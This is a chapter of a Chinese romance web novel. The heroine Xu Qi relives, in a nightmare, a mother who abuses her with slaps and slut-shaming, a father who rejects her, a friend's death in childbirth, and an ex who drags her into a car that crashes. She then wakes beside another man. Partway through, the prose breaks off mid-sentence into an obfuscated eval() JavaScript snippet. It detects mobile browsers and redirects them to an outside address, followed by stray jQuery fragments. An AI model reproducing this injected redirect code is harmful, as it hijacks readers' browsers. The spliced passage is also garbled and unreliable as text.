许栖陷入了一个混乱而沉重的梦境。
她认出，这是大学的时候。
那时她在热恋，陈驰开车带她去了郊外的小镇。山风温软，公路旁的野花迎风晃动，车载音响里放着慵懒的老歌。她穿着一件浅色的裙子，车窗半开，长发被风吹得微微凌乱。
陈驰侧头看了她一眼，嘴角微勾，语气随意：“许栖，我们这样算不算私奔？”
她靠着车窗，微微扬眉：“私奔哪有去农家乐的？”
“你可真是浪漫过敏。”陈驰挑眉。
夜幕降临，他们在镇上找了家干净的酒店住下。房间不大，窗户外能看见远处公路上的微光，空气里飘着淡淡的洗衣粉味道，床单平整，枕头柔软。
两个人肩并肩躺在床上，隔着薄薄的被子，谁都没有再说话，只静静的看着对方，少男少女纯情的不得了。窗外的风轻轻吹动窗帘，投下一片摇晃的光影。
过了很久，陈驰才低声问：“要不要试着不那么纯情一点？”
他语气玩笑，但眼神是认真的。
许栖偏头看了他一眼，低声拒绝：“不要。”
陈驰轻轻叹了口气，侧身揽住她，鼻息落在她的发间：“那就这样吧。”
他手臂的温度透过薄薄的衣料传递过来，带着他特有的少年气息。那一夜，他们只是安静地抱着睡了一晚。
梦境忽然翻涌，场景变换得猝不及防。
家里的客厅灯光惨白，母亲的身影立在正中，脸色阴沉。她的手里紧紧攥着许栖的手机，屏幕上赫然停留着农家乐酒店的入住短信——许栖和陈驰的订房记录清清楚楚，一字一句像是罪证。
“你真是不要脸。”她母亲声音低冷，语气压抑得像是风暴前夕的寂静。
许栖刚想开口，耳光已经狠狠地落下，扇得她头偏到一侧，耳朵嗡嗡作响。
“婚前就和男人开房？你是鸡吗？”母亲的声音又尖又冷，几乎是从牙缝里挤出来的，“你就这么贱？给人当玩意儿，你觉得自己有什么值钱的？”
许栖捂着脸，指尖冰凉，喉咙像是被卡住了一样，说不出半个字。
“我辛辛苦苦养你这么大，就是让你在外面丢人现眼的？”母亲狠狠将手机摔到茶几上，声音陡然拔高，“看看你干的好事！真是个骚货！”
她咬牙切齿地骂着，眼神里透着厌恶，仿佛站在她面前的不是女儿，而是一块污秽的垃圾。
“这事要传出去，叫人知道我的女儿还没结婚就被男人睡了，还让我怎么抬头做人？”她冷笑，眼底的嫌恶浓得化不开，“你怎么就这么贱？”
许栖的指甲深深嵌进掌心，眼睛刺痛得厉害，却怎么也流不出眼泪。
她不敢反驳，因为她知道，母亲根本不会听。
如果她争辩自己没做错，母亲会冷笑：“没做错？你以为人家真喜欢你？你这种货色，连被人玩都不值。”
如果她沉默，母亲则会冷冷地啐一口，厌恶地甩开她的手：“装什么死？真恶心。”
她说什么，做什么，都是错的。
许栖旁观着自己的梦，心底压抑的愤怒和委屈在胸腔里翻滚，却找不到任何宣泄的出口。
梦境翻涌，又是一道时光的切割线。
她本来没想和陈驰发生关系，甚至连去开房都只是源于一时冲动。可母亲那些不堪入耳的话像一根尖锐的刺，扎进她的心里，刺得她生疼。
“你是个下贱的东西，随随便便就能被人睡了。”
“男人不会真喜欢你，他们只会把你当成消遣的玩意。”
“你真是个婊/子，骚货！”
许栖从来都不觉得自己是个情绪冲动的人，可后来，在那些淬毒一样话语的浸染下，她却鬼使神差地在陈驰靠近时，没有再推开。他问她：“许栖，你确定吗？”
她点头，眼神里带着一丝刻意的漠然。
然后，他们真的发生了关系。
她全程都在掉眼泪，身体紧绷得像是要碎裂，疼得浑身冷汗，压抑的情绪在夜色中无限放大。
陈驰被她哭得手足无措，不断问她要不要停下，可她只是咬紧牙关，不说话。
就像是某种反抗。对母亲的，对自己的，对这个让她感到窒息的世界的。
从此以后，陈驰越发把她捧到了手心里。
可一年后，她和陈驰还是分手了。
消息传到母亲耳朵里时，她嗤笑一声，语气冷得像冰：“我就知道，他不可能真心喜欢你。”
许栖站在餐桌前，指尖掐进掌心，手背微微发白。
母亲上下打量了她一眼，冷冷地道：“这下知道自己几斤几两了吧？他就是玩玩你，你居然还当回事？”
她轻嗤一声，眼神里尽是鄙夷：“活该。这就是你犯贱的下场。”
许栖没吭声。
她早就知道母亲不会安慰她，甚至连一个冷淡的“分了就分了”都不会有。对方只会用最难听的话，把刀子一寸寸地扎进她的心里，让她明白，她是个失败者，一个被男人丢弃的“二手货”。
可下一秒，母亲竟然说：“你去求他，让他跟你复合。”
许栖愣住，猛地抬眼看向她：“为什么？你不是一直都很讨厌他吗？你不是说他这种少爷，将来肯定会出轨吗？”
母亲冷哼一声，语气厌恶：“男人没有不出轨的。你这种无趣沉闷的性格，不管嫁给谁，对方都会出轨！关键是，你已经被他睡过了！”
她的话语仿佛带着毒，字字句句都在往许栖的伤口里撒盐：“你以为你还能找到比他更好的？别做梦了，女人最值钱的就是清白，你都被他睡过了，你没了这点资本，还有什么好挑的？”
许栖的指尖一颤，心底仿佛有一根弦被狠狠拉断，痛得让人透不过气。
母亲冷漠地看着她，嘴角带着嘲讽：“你最好祈祷他嘴巴够严，不然要是让外人知道你婚前就被男人睡了，并且还被甩了，别人会怎么看你？”
她顿了顿，眯起眼，语调愈发森冷：“又会怎么看我？你真是丢尽了我的脸面！有你这么个闺女，我真是倒霉作孽！”
许栖看着她，胸口像是被一块巨石压住，喘不过气。
场景不停变换。
梦里，一切都交织成支离破碎的片段。她站在昏黄的灯光下，周围是熟悉的家，却被无限放大。家具的轮廓模糊而扭曲，墙壁像是潮湿的牢笼，缓缓向她压来。
“许栖，你到底有什么用？！”母亲的声音尖利刺耳，像细针一样戳进她的脑海。一个模糊的女人影子站在她面前，表情因愤怒而变形。
“我为你牺牲了多少，你就这样回报我？”母亲指责着，脸上带着夸张的表情，情绪在愤怒与哀怨之间快速切换。她的指尖几乎要戳到许栖的额头，声音像层层叠叠的回音，压得许栖喘不过气。
“是你害我丢了他！”母亲忽然转头对着某个方向痛哭出声，眼泪毫无预警地滑下，却又猛地怒视许栖，“你是拖油瓶，是累赘！”
许栖想要开口解释，可嘴唇像是被胶水黏住了一样，发不出任何声音。
她忽然又站在亲生父亲的家门外，透过窗子看见父亲抱着另一个孩子，一家人其乐融融地笑着，桌上的生日蛋糕五彩缤纷。她敲门，可父亲只是无奈地瞥了她一眼：“许栖，学费我会打给你，但你别到家里来了，你阿姨不喜欢你。”
她的指尖紧贴在玻璃上，却看着父亲站起身关上了窗帘，隔绝了她最后的视线。窗帘的遮蔽像是巨大的黑洞，吞噬了她的存在。
场景不停变换。
她站在一个明亮而空旷的大厅里，耳边回荡着几个年轻男女的声音，是她的某位前任和曾经的朋友。男生表情冷漠，嗓音里满是无情的审判：“许栖，你总是这样，永远不会爱人，只知道权衡和算计。”
“谁会真正喜欢许栖呢？她这样的人，注定一辈子孤独。”
“谁都走不进她的心，她也走进不了任何人的心。
“许栖，你永远都把自己放第一位，永远都是冷漠傲慢的。”
脚下的地板开始坍塌，她掉入一个深渊般的漩涡里。
漩涡深处，她看见了程枂。
她穿着宽松的白色长裙，手抚着小腹，眼神带着柔软的期待。
“等宝宝出生了，你究竟是她的干妈呢？还是她的干姥姥，还是干姐姐？”
程枂握着她的手，眉眼弯弯地开着玩笑。
“如果宝宝将来，长得像栖宝你就好了。你这么漂亮，她要是像你，我就开心死了。”
许栖笑：“我和宝宝又没有血缘上的关系，她怎么会长得像我？长得像你这个漂亮妈妈，不好吗？”
“但我还是希望宝宝像栖宝你，聪明漂亮，一股子明艳御姐的感觉。”
她说得认真极了，语气里带着少女式的天真。许栖陪她一起想孩子的名字，陪她幻想未来，陪她看婴儿服，看小小的鞋子。
然而紧接着，她在医院的走廊里听见医生的宣判：“抢救无效，母子双亡。”
许栖捂住耳朵，不愿意听，不愿意接受，眼泪几乎瞬间模糊了视线。
可是梦境不会放过她。
程枂依旧站在不远处，穿着白色长裙，可她的脸色渐渐苍白了，嘴角的笑意也一点点消失。
“许栖。”
她轻声唤她，眼神温柔得像是一场错觉。
“我好疼。”
程枂整个人往漩涡深处坠去。许栖睁大眼睛，拼命地想跑过去，可无论她怎么伸手，程枂都一直往下坠。
“不要走……”许栖求她，“不要离开我，不要走。”
程枂的身影越来越轻，像是风里飘散的呓语，她一点点地往漩涡下坠去，白色的裙摆扬起，如同沉入水底的花瓣。
“……对不起，栖宝。”
她的眼神却依旧温柔，仿佛她的死并没有怨恨，仿佛她只是困倦了，终于要彻底从这个世界消失。
彻底消失前，她将许栖用力推了出去。然而许栖被推出漩涡后，又见到了陈驰。
他站在光亮之中，手里拿着酒杯，轻轻摇晃着，声音懒散：“许栖，分手是我的选择，你别以为我还在乎。”他的语气随意，仿佛当年的深情与执着不过是一场游戏。
梦境越发急促和失控，过去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15360242|163594||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的声音、场景、碎片在她眼前翻滚。每一个场景都带着失落、质疑与疏离，像无数双冰冷的手攥住她的心，让她喘不过气。
终于，许栖交了新男友。
一个温柔可靠的男生，家境良好，成绩优异，已经被录为名校定向选调生，完美符合长辈们，尤其是母亲的喜好。
她以为这次母亲总该满意了，可母亲却依旧冷着脸，像是在看一个不听话的孩子：“你以为换个男人就能抹掉过去？你这样的人，除了陈驰，还有谁要？”
“我已经有男朋友了。”许栖声音低冷，极力压抑着情绪。
“那又怎么样？分了他。”母亲嗤笑，眼底尽是刻骨的鄙夷，“去求陈驰复合。”
许栖握紧手指，指甲深深掐进掌心，声音微冷：“为什么？你以前明明很讨厌陈驰。”
母亲神情不耐，像是看一个无知的孩子：“因为你被陈驰睡过。”她的语气毫不留情，字字如刀，“你是他的女人，女人就该从一而终。去求他复合。”
一瞬间，血液仿佛凝滞，许栖唇色发白，嗓音低哑：“我不会求他。”
母亲眼神如刀，一字一顿：“你必须求。”
她向前逼近一步，冷漠又嘲弄地盯着许栖：“你知不知道他家里有多有钱？你知不知道如果你嫁给他，我也能跟着有面子？许栖，你以为你还能找到比他更好的人？你以为你现在的男朋友，就很爱你？不过和陈驰一样，又是一个想要玩弄你的人罢了。但陈驰好歹是初恋，你必须嫁给他。”
许栖的心沉入冰底。
她抿紧唇，胸口起伏不定，正要说什么，忽然门被敲响。
“咚咚。”
她猛地一颤，回头望去。
门口站着陈驰。
他神情憔悴，衣衫凌乱，眼底布满红血丝，像是刚经历了一场风暴，站在门外，直勾勾地看着她。
“栖栖。”他低哑地唤她，嗓音里藏着疲惫与失魂落魄的执拗，“跟我走。”
许栖指尖发凉，背脊僵直。
母亲冷冷扫了她一眼，语气不容置喙：“还愣着干什么？快去。”
下一秒，她被推了出去，门在身后“砰”地关上，隔绝了母亲冷漠的声音。
“别再让我丢脸。”
夜风袭来，寒意直入骨髓。
陈驰一步上前，握住她的手腕，力道沉沉，像是抓住什么最后的浮木，眼底藏着隐忍至极的情绪：“许栖，我们复合吧。”
她猛地挣开他的手，声音微颤：“不。”
陈驰的指尖滞在半空，哑声道：“为什么？”
“我不会再和你在一起。”她别开目光，克制着自己的情绪。
可他却执拗地抓住她，再一次将她拽向停在路边的车，眼神晦暗，近乎固执：“你必须跟我在一起。”
许栖没反应过来，便被半推半拽地塞进副驾驶。
车门“砰”地关上。
封死了所有退路。
引擎轰鸣，车辆疾驰而出。
黑夜吞噬了一切，公路两侧的灯光飞速倒退，耳边是风声、引擎的嘶吼，还有他压抑至极的喘息。
“陈驰！你疯了！”许栖心跳如鼓，猛地去拽他的手臂，“停车！”
陈驰死死盯着前方，嘴角勾起一抹荒唐的笑：“你不回来，我就一直开下去。”
她冷笑，嗓音克制而锋利：“我说过了，我永远不会再跟你复合。谁都可以，唯独你不行。”
他的手紧握方向盘，指节泛白：“为什么？”
“没有为什么。”
速度越来越快。
车子像脱缰的野兽，在夜色中狂奔，直至冲破极限。
砰！
世界天旋地转。
车身失控，冲破护栏，朝着悬崖下坠去。
失重的瞬间，她仿佛听见了风的呼啸，血液倒流，恐惧彻骨——
“陈驰！”
许栖猛地坐起，骤然从深渊般的梦魇中挣脱出来。
她喘息不止，胸口剧烈起伏，额角沁满冷汗，耳边依旧残留着车祸前的回声，指尖微微颤抖，仿佛整个人还悬在半空，尚未着陆。
忽然，肩头传来温热的触感。
“许栖。”
她怔怔地抬头，视线撞入一双沉静的眼。
沈栎。
他坐在床边，单手撑着床沿，身上还带着晨起后的慵懒气息。一只手揽着她，掌心轻轻覆在她后背，安抚着她残余的颤抖。目光微垂，眼底的深色晕染开来，像沉着无波的海，温和而笃定。
她怔住，过了几秒，才反应过来。
这是沈栎的家。
她正在他的床上，正在他的怀里。
梦境的恐惧尚未完全散去，现实的温度却一点点渗透进肌肤，让人放松。
沈栎低声问：“做梦了？”
她的喉咙发紧，迟缓地点了点头。
忘了刚才梦见了什么。只记得窒息的冷意，和那一瞬间的失重感。
沈栎轻笑，修长的手指擦去她脸上的泪痕，语调带着点随意的漫不经心：“难怪梦里一直喊着我的名字。”